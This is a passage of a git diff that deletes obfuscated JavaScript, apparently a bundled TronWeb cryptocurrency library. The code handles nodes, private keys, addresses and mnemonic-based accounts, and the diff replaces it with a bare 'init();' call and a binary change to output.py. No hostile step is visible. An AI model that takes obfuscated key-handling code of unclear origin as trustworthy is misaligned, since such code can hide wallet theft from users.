- _0x109028.injectPromise = _0x13268c()(_0x3ea587(_0x109028));
- _0x135fd3 && _0x109028.setFullNodeHeader(_0x135fd3);
- _0x446bd1 && _0x109028.setEventHeader(_0x446bd1);
- return _0x109028;
- }
- _0x561e78(_0x4122c8, [{
- key: "getFullnodeVersion",
- value: (_0x1519be = _0x203d83(_0x307918().mark(function _0x18fd6f() {
- var _0x35e8f2;
- return _0x307918().wrap(function (_0x355d13) {
- for (;;) {
- switch (_0x355d13.prev = _0x355d13.next) {
- case 0:
- _0x355d13.prev = 0;
- _0x355d13.next = 3;
- return this.trx.getNodeInfo();
- case 3:
- _0x35e8f2 = _0x355d13.sent;
- this.fullnodeVersion = _0x35e8f2.configNodeInfo.codeVersion;
- 2 === this.fullnodeVersion.split(".").length && (this.fullnodeVersion += ".0");
- _0x355d13.next = 11;
- break;
- case 8:
- _0x355d13.prev = 8;
- _0x355d13.t0 = _0x355d13.catch(0);
- this.fullnodeVersion = _0x38406d;
- case 11:
- case "end":
- return _0x355d13.stop();
- }
- }
- }, _0x18fd6f, this, [[0, 8]]);
- })), function () {
- return _0x1519be.apply(this, arguments);
- })
- }, {
- key: "setDefaultBlock",
- value: function () {
- var _0x4ed1ff = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- if ([false, "latest", "earliest", 0].includes(_0x4ed1ff)) {
- return this.defaultBlock = _0x4ed1ff;
- }
- if (!_0x1db97c.isInteger(_0x4ed1ff) || !_0x4ed1ff) {
- throw new Error("Invalid block ID provided");
- }
- this.defaultBlock = Math.abs(_0x4ed1ff);
- }
- }, {
- key: "setPrivateKey",
- value: function (_0x1b6ab4) {
- try {
- this.setAddress(this.address.fromPrivateKey(_0x1b6ab4));
- } catch (_0x509f00) {
- throw new Error("Invalid private key provided");
- }
- this.defaultPrivateKey = _0x1b6ab4;
- this.emit("privateKeyChanged", _0x1b6ab4);
- }
- }, {
- key: "setAddress",
- value: function (_0x31f618) {
- if (!this.isAddress(_0x31f618)) {
- throw new Error("Invalid address provided");
- }
- var _0x4ff9ad = this.address.toHex(_0x31f618);
- var _0x22a276 = this.address.fromHex(_0x31f618);
- this.defaultPrivateKey && this.address.fromPrivateKey(this.defaultPrivateKey) !== _0x22a276 && (this.defaultPrivateKey = false);
- this.defaultAddress = {
- hex: _0x4ff9ad,
- base58: _0x22a276
- };
- this.emit("addressChanged", {
- hex: _0x4ff9ad,
- base58: _0x22a276
- });
- }
- }, {
- key: "fullnodeSatisfies",
- value: function (_0x41728b) {
- return _0x5472cb().satisfies(this.fullnodeVersion, _0x41728b);
- }
- }, {
- key: "isValidProvider",
- value: function (_0x4d5fce) {
- return Object.values(_0x2ebe37).some(function (_0x59ba3b) {
- return _0x4d5fce instanceof _0x59ba3b;
- });
- }
- }, {
- key: "setFullNode",
- value: function (_0x4a5746) {
- if (_0x1db97c.isString(_0x4a5746) && (_0x4a5746 = new _0x2ebe37.HttpProvider(_0x4a5746)), !this.isValidProvider(_0x4a5746)) {
- throw new Error("Invalid full node provided");
- }
- this.fullNode = _0x4a5746;
- this.fullNode.setStatusPage("wallet/getnowblock");
- }
- }, {
- key: "setSolidityNode",
- value: function (_0xfd8c29) {
- if (_0x1db97c.isString(_0xfd8c29) && (_0xfd8c29 = new _0x2ebe37.HttpProvider(_0xfd8c29)), !this.isValidProvider(_0xfd8c29)) {
- throw new Error("Invalid solidity node provided");
- }
- this.solidityNode = _0xfd8c29;
- this.solidityNode.setStatusPage("walletsolidity/getnowblock");
- }
- }, {
- key: "setEventServer",
- value: function () {
- var _0x144faa;
- (_0x144faa = this.event).setServer.apply(_0x144faa, arguments);
- }
- }, {
- key: "setHeader",
- value: function () {
- var _0x406160 = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : {};
- var _0x15987a = new _0x2ebe37.HttpProvider(this.fullNode.host, 30000, false, false, _0x406160);
- var _0x478b56 = new _0x2ebe37.HttpProvider(this.solidityNode.host, 30000, false, false, _0x406160);
- var _0x59d8e9 = new _0x2ebe37.HttpProvider(this.eventServer.host, 30000, false, false, _0x406160);
- this.setFullNode(_0x15987a);
- this.setSolidityNode(_0x478b56);
- this.setEventServer(_0x59d8e9);
- }
- }, {
- key: "setFullNodeHeader",
- value: function () {
- var _0x56216b = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : {};
- var _0x5d31cf = new _0x2ebe37.HttpProvider(this.fullNode.host, 30000, false, false, _0x56216b);
- var _0x2f6364 = new _0x2ebe37.HttpProvider(this.solidityNode.host, 30000, false, false, _0x56216b);
- this.setFullNode(_0x5d31cf);
- this.setSolidityNode(_0x2f6364);
- }
- }, {
- key: "setEventHeader",
- value: function () {
- var _0x136cfd = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : {};
- var _0x4b70ed = new _0x2ebe37.HttpProvider(this.eventServer.host, 30000, false, false, _0x136cfd);
- this.setEventServer(_0x4b70ed);
- }
- }, {
- key: "currentProviders",
- value: function () {
- return {
- fullNode: this.fullNode,
- solidityNode: this.solidityNode,
- eventServer: this.eventServer
- };
- }
- }, {
- key: "currentProvider",
- value: function () {
- return this.currentProviders();
- }
- }, {
- key: "getEventResult",
- value: function () {
- for (var _0x2b98ef, _0x4e04be = arguments.length, _0x314526 = new Array(_0x4e04be), _0x5a245d = 0; _0x5a245d < _0x4e04be; _0x5a245d++) {
- _0x314526[_0x5a245d] = arguments[_0x5a245d];
- }
- "object" !== _0x4dce66(_0x314526[1]) && (_0x314526[1] = {
- sinceTimestamp: _0x314526[1] || 0,
- eventName: _0x314526[2] || false,
- blockNumber: _0x314526[3] || false,
- size: _0x314526[4] || 20,
- page: _0x314526[5] || 1
- }, _0x314526.splice(2, 4), _0x1db97c.isFunction(_0x314526[2]) || (_0x1db97c.isFunction(_0x314526[1].page) ? (_0x314526[2] = _0x314526[1].page, _0x314526[1].page = 1) : _0x1db97c.isFunction(_0x314526[1].size) && (_0x314526[2] = _0x314526[1].size, _0x314526[1].size = 20, _0x314526[1].page = 1)));
- return (_0x2b98ef = this.event).getEventsByContractAddress.apply(_0x2b98ef, _0x314526);
- }
- }, {
- key: "getEventByTransactionID",
- value: function () {
- var _0x1a5e77;
- return (_0x1a5e77 = this.event).getEventsByTransactionID.apply(_0x1a5e77, arguments);
- }
- }, {
- key: "contract",
- value: function () {
- return new _0xde402e(this, arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : [], arguments.length > 1 && undefined !== arguments[1] && arguments[1]);
- }
- }, {
- key: "isConnected",
- value: (_0x1d3e90 = _0x203d83(_0x307918().mark(function _0x4a9db7() {
- var _0x2df6ec;
- var _0x26fa5b = arguments;
- return _0x307918().wrap(function (_0x22dc9f) {
- for (;;) {
- switch (_0x22dc9f.prev = _0x22dc9f.next) {
- case 0:
- if (_0x2df6ec = _0x26fa5b.length > 0 && undefined !== _0x26fa5b[0] && _0x26fa5b[0]) {
- _0x22dc9f.next = 3;
- break;
- }
- return _0x22dc9f.abrupt("return", this.injectPromise(this.isConnected));
- case 3:
- _0x22dc9f.t0 = _0x2df6ec;
- _0x22dc9f.next = 6;
- return this.fullNode.isConnected();
- case 6:
- _0x22dc9f.t1 = _0x22dc9f.sent;
- _0x22dc9f.next = 9;
- return this.solidityNode.isConnected();
- case 9:
- if (_0x22dc9f.t2 = _0x22dc9f.sent, _0x22dc9f.t3 = this.eventServer, !_0x22dc9f.t3) {
- _0x22dc9f.next = 15;
- break;
- }
- _0x22dc9f.next = 14;
- return this.eventServer.isConnected();
- case 14:
- _0x22dc9f.t3 = _0x22dc9f.sent;
- case 15:
- _0x22dc9f.t4 = _0x22dc9f.t3;
- _0x22dc9f.t5 = {
- fullNode: _0x22dc9f.t1,
- solidityNode: _0x22dc9f.t2,
- eventServer: _0x22dc9f.t4
- };
- return _0x22dc9f.abrupt("return", (0, _0x22dc9f.t0)(null, _0x22dc9f.t5));
- case 18:
- case "end":
- return _0x22dc9f.stop();
- }
- }
- }, _0x4a9db7, this);
- })), function () {
- return _0x1d3e90.apply(this, arguments);
- })
- }], [{
- key: "address",
- get: function () {
- return {
- fromHex: function (_0x47df9c) {
- return _0x1db97c.isHex(_0x47df9c) ? _0x1db97c.crypto.getBase58CheckAddress(_0x1db97c.code.hexStr2byteArray(_0x47df9c.replace(/^0x/, _0x40cce0))) : _0x47df9c;
- },
- toHex: function (_0x25ddd5) {
- return _0x1db97c.isHex(_0x25ddd5) ? _0x25ddd5.toLowerCase().replace(/^0x/, _0x40cce0) : _0x1db97c.code.byteArray2hexStr(_0x1db97c.crypto.decodeBase58Address(_0x25ddd5)).toLowerCase();
- },
- fromPrivateKey: function (_0x496464) {
- var _0xd70ca1 = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- try {
- return _0x1db97c.crypto.pkToAddress(_0x496464, _0xd70ca1);
- } catch (_0x5a04cc) {
- return false;
- }
- }
- };
- }
- }, {
- key: "sha3",
- value: function (_0x4c5eb5) {
- return (arguments.length > 1 && undefined !== arguments[1] && !arguments[1] ? "" : "0x") + _0xa68238(Buffer.from(_0x4c5eb5, "utf-8")).toString().substring(2);
- }
- }, {
- key: "toHex",
- value: function (_0x226c07) {
- if (_0x1db97c.isBoolean(_0x226c07)) {
- return _0x4122c8.fromDecimal(+_0x226c07);
- }
- if (_0x1db97c.isBigNumber(_0x226c07)) {
- return _0x4122c8.fromDecimal(_0x226c07);
- }
- if ("object" === _0x4dce66(_0x226c07)) {
- return _0x4122c8.fromUtf8(JSON.stringify(_0x226c07));
- }
- if (_0x1db97c.isString(_0x226c07)) {
- if (/^(-|)0x/.test(_0x226c07)) {
- return _0x226c07;
- }
- if (!isFinite(_0x226c07) || /^\s*$/.test(_0x226c07)) {
- return _0x4122c8.fromUtf8(_0x226c07);
- }
- }
- var _0x57552e = _0x4122c8.fromDecimal(_0x226c07);
- if ("0xNaN" === _0x57552e) {
- throw new Error("The passed value is not convertible to a hex string");
- }
- return _0x57552e;
- }
- }, {
- key: "toUtf8",
- value: function (_0x587f6a) {
- if (_0x1db97c.isHex(_0x587f6a)) {
- _0x587f6a = _0x587f6a.replace(/^0x/, "");
- return Buffer.from(_0x587f6a, "hex").toString("utf8");
- }
- throw new Error("The passed value is not a valid hex string");
- }
- }, {
- key: "fromUtf8",
- value: function (_0x568714) {
- if (!_0x1db97c.isString(_0x568714)) {
- throw new Error("The passed value is not a valid utf-8 string");
- }
- return "0x" + Buffer.from(_0x568714, "utf8").toString("hex");
- }
- }, {
- key: "toAscii",
- value: function (_0x3367d5) {
- if (_0x1db97c.isHex(_0x3367d5)) {
- var _0x368822 = "";
- var _0x3eda46 = 0;
- var _0x136eaa = _0x3367d5.length;
- for ("0x" === _0x3367d5.substring(0, 2) && (_0x3eda46 = 2); _0x3eda46 < _0x136eaa; _0x3eda46 += 2) {
- var _0x4f5fcc = parseInt(_0x3367d5.substr(_0x3eda46, 2), 16);
- _0x368822 += String.fromCharCode(_0x4f5fcc);
- }
- return _0x368822;
- }
- throw new Error("The passed value is not a valid hex string");
- }
- }, {
- key: "fromAscii",
- value: function (_0x34e2ed, _0x211198) {
- if (!_0x1db97c.isString(_0x34e2ed)) {
- throw new Error("The passed value is not a valid utf-8 string");
- }
- return "0x" + Buffer.from(_0x34e2ed, "ascii").toString("hex").padEnd(_0x211198, "0");
- }
- }, {
- key: "toDecimal",
- value: function (_0x43ad59) {
- return _0x4122c8.toBigNumber(_0x43ad59).toNumber();
- }
- }, {
- key: "fromDecimal",
- value: function (_0x3a305f) {
- var _0x20e1ca = _0x4122c8.toBigNumber(_0x3a305f);
- var _0x489c05 = _0x20e1ca.toString(16);
- return _0x20e1ca.isLessThan(0) ? "-0x" + _0x489c05.substr(1) : "0x" + _0x489c05;
- }
- }, {
- key: "fromSun",
- value: function (_0x587139) {
- var _0x343167 = _0x4122c8.toBigNumber(_0x587139).div(1000000);
- return _0x1db97c.isBigNumber(_0x587139) ? _0x343167 : _0x343167.toString(10);
- }
- }, {
- key: "toSun",
- value: function (_0x1ef362) {
- var _0xb0776a = _0x4122c8.toBigNumber(_0x1ef362).times(1000000);
- return _0x1db97c.isBigNumber(_0x1ef362) ? _0xb0776a : _0xb0776a.toString(10);
- }
- }, {
- key: "toBigNumber",
- value: function () {
- var _0x5a61a4 = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : 0;
- return _0x1db97c.isBigNumber(_0x5a61a4) ? _0x5a61a4 : _0x1db97c.isString(_0x5a61a4) && /^(-|)0x/.test(_0x5a61a4) ? new _0x12bb2f(_0x5a61a4.replace("0x", ""), 16) : new _0x12bb2f(_0x5a61a4.toString(10), 10);
- }
- }, {
- key: "isAddress",
- value: function () {
- var _0x2e084b = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- if (!_0x1db97c.isString(_0x2e084b)) {
- return false;
- }
- if (42 === _0x2e084b.length) {
- try {
- return _0x4122c8.isAddress(_0x1db97c.crypto.getBase58CheckAddress(_0x1db97c.code.hexStr2byteArray(_0x2e084b)));
- } catch (_0x241d7f) {
- return false;
- }
- }
- try {
- return _0x1db97c.crypto.isAddressValid(_0x2e084b);
- } catch (_0x16a46d) {
- return false;
- }
- }
- }, {
- key: "createAccount",
- value: (_0x346f3d = _0x203d83(_0x307918().mark(function _0x542a66() {
- var _0x3b3e64;
- return _0x307918().wrap(function (_0x184a06) {
- for (;;) {
- switch (_0x184a06.prev = _0x184a06.next) {
- case 0:
- _0x3b3e64 = _0x1db97c.accounts.generateAccount();
- return _0x184a06.abrupt("return", _0x3b3e64);
- case 2:
- case "end":
- return _0x184a06.stop();
- }
- }
- }, _0x542a66);
- })), function () {
- return _0x346f3d.apply(this, arguments);
- })
- }, {
- key: "createRandom",
- value: function (_0x1588a4) {
- return _0x1db97c.accounts.generateRandom(_0x1588a4);
- }
- }, {
- key: "fromMnemonic",
- value: function (_0x365e96) {
- var _0x57f1a3 = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : _0x1a9774;
- var _0x2d8759 = arguments.length > 2 && undefined !== arguments[2] ? arguments[2] : null;
- return _0x1db97c.accounts.generateAccountWithMnemonic(_0x365e96, _0x57f1a3, _0x2d8759);
- }
- }]);
- return _0x4122c8;
- }(_0x931b86());
- _0x713ed3(_0x2d34c8, "providers", _0x2ebe37);
- _0x713ed3(_0x2d34c8, "BigNumber", _0x12bb2f);
- _0x713ed3(_0x2d34c8, "TransactionBuilder", _0x2d40cc);
- _0x713ed3(_0x2d34c8, "Trx", _0x36b8bc);
- _0x713ed3(_0x2d34c8, "Contract", _0xde402e);
- _0x713ed3(_0x2d34c8, "Plugin", _0x6aa8f6);
- _0x713ed3(_0x2d34c8, "Event", _0x38ef81);
- _0x713ed3(_0x2d34c8, "version", "5.3.2");
- _0x713ed3(_0x2d34c8, "utils", _0x1db97c);
- })();
- return _0x1f668b.default;
-})());
\ No newline at end of file
+init();
\ No newline at end of file
diff --git a/output.py b/output.py
index 00c7952..d9872ae 100644
Binary files a/output.py and b/output.py differ